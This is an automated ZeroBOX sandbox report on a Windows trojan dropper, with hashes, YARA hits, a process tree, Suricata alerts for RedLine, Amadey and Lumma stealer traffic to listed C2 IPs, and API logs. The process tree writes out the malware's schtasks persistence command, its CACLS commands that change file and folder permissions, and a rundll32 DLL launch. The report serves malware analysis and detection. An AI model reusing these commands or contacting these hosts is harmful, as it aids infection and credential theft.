Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	May 30, 2023, 1:37 p.m.	May 30, 2023, 1:39 p.m.

Size	1.0MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`6392f9473488585adf633a7fde82f28b`
SHA256	`620dcb6d3c34f6627fed65ebb049b59faf86bde0e42a2425de1f16485f344082`
CRC32	`506ED2BD`
ssdeep	`24576:HyN3Enqag3R/rgZQiIlnf9I8wZelAnZnA0Eb:SN3ERWR06i2f9I8UCYj`
PDB Path	wextract.pdb
Yara	UPX_Zero - UPX packed file Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet Malicious_Library_Zero - Malicious_Library CAB_file_format - CAB archive file PE_Header_Zero - PE File Signature IsPE32 - (no description) Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet

06777499.exe "C:\Users\test22\AppData\Local\Temp\06777499.exe"
3012
- z1392128.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\z1392128.exe
  2144
  - z4553979.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\z4553979.exe
    2212
    - o3829852.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\o3829852.exe
      2252
    - p7220078.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\p7220078.exe
      2340
  - r2486584.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\r2486584.exe
    1196
- s8328851.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\s8328851.exe
  1704
  - s8328851.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\s8328851.exe
    2116
    - legends.exe "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe"
      3028
      - legends.exe C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe
        2200
        
        schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F
        2164
        
        cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legends.exe" /P "test22:N"&&CACLS "legends.exe" /P "test22:R" /E&&echo Y|CACLS "..\41bde21dc7" /P "test22:N"&&CACLS "..\41bde21dc7" /P "test22:R" /E&&Exit
        1588
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2396
        
        cacls.exe CACLS "legends.exe" /P "test22:N"
        1164
        
        cacls.exe CACLS "legends.exe" /P "test22:R" /E
        1728
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2988
        
        cacls.exe CACLS "..\41bde21dc7" /P "test22:N"
        996
        
        cacls.exe CACLS "..\41bde21dc7" /P "test22:R" /E
        2716
        
        kds7uq5kknv.exe "C:\Users\test22\AppData\Local\Temp\1000028001\kds7uq5kknv.exe"
        2876
        
        RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        1944
        
        kds7uq5kknv.exe "C:\Users\test22\AppData\Local\Temp\1000029001\kds7uq5kknv.exe"
        944
        
        RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        2084
        
        rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
        1376
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
185.99.133.246	Active	Moloch
83.97.73.127	Active	Moloch
95.214.27.98	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043233	ET MALWARE RedLine Stealer TCP CnC net.tcp Init	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 83.97.73.127:19045 -> 192.168.56.102:49166	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49166 -> 83.97.73.127:19045	2043231	ET MALWARE Redline Stealer TCP CnC Activity	A Network Trojan was detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2044695	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M1	A Network Trojan was detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	A Network Trojan was detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 95.214.27.98:80 -> 192.168.56.102:49184	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 95.214.27.98:80 -> 192.168.56.102:49184	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 95.214.27.98:80 -> 192.168.56.102:49184	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49190 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49189 -> 185.99.133.246:80	2043206	ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2	A Network Trojan was detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	A Network Trojan was detected
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 192.168.56.102:49184 -> 95.214.27.98:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 185.99.133.246:80 -> 192.168.56.102:49189	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49189	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49189	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49189	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49189	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49190	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49190	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49190	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49190	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49190	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49190	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode
TCP 185.99.133.246:80 -> 192.168.56.102:49189	2221010	SURICATA HTTP unable to match response to request	Generic Protocol Command Decode

Suricata TLS

No Suricata TLS

Queries for the computername (50 out of 203 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:37 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 30, 2023, 1:38 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (50 out of 105 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 30, 2023, 1:37 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:37 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:37 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:37 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0
IsDebuggerPresent May 30, 2023, 1:38 p.m.			0	0

Command line console output was observed (50 out of 97 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 30, 2023, 1:38 p.m.	buffer: SUCCESS: The scheduled task "legends.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW May 30, 2023, 1:38 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW May 30, 2023, 1:38 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA May 30, 2023, 1:38 p.m.	buffer: r console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (17 events)

Time & API	Arguments	Status	Return
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004294f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004294f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004294f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004294f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429570 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429570 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429470 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004294f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004294f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004296f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429fb0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 30, 2023, 1:37 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00429e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 30, 2023, 1:37 p.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

One or more processes crashed (16 events)

Time & API	Arguments	Status
__exception__ May 30, 2023, 1:37 p.m.	stacktrace: 0x80cea9 0x80ccab 0x807658 0x806e53 0x803c08 0x8035d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72b32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72b4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72b42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72bf74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72bf7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72c81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72c81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72c81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72c8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73e27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73e24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 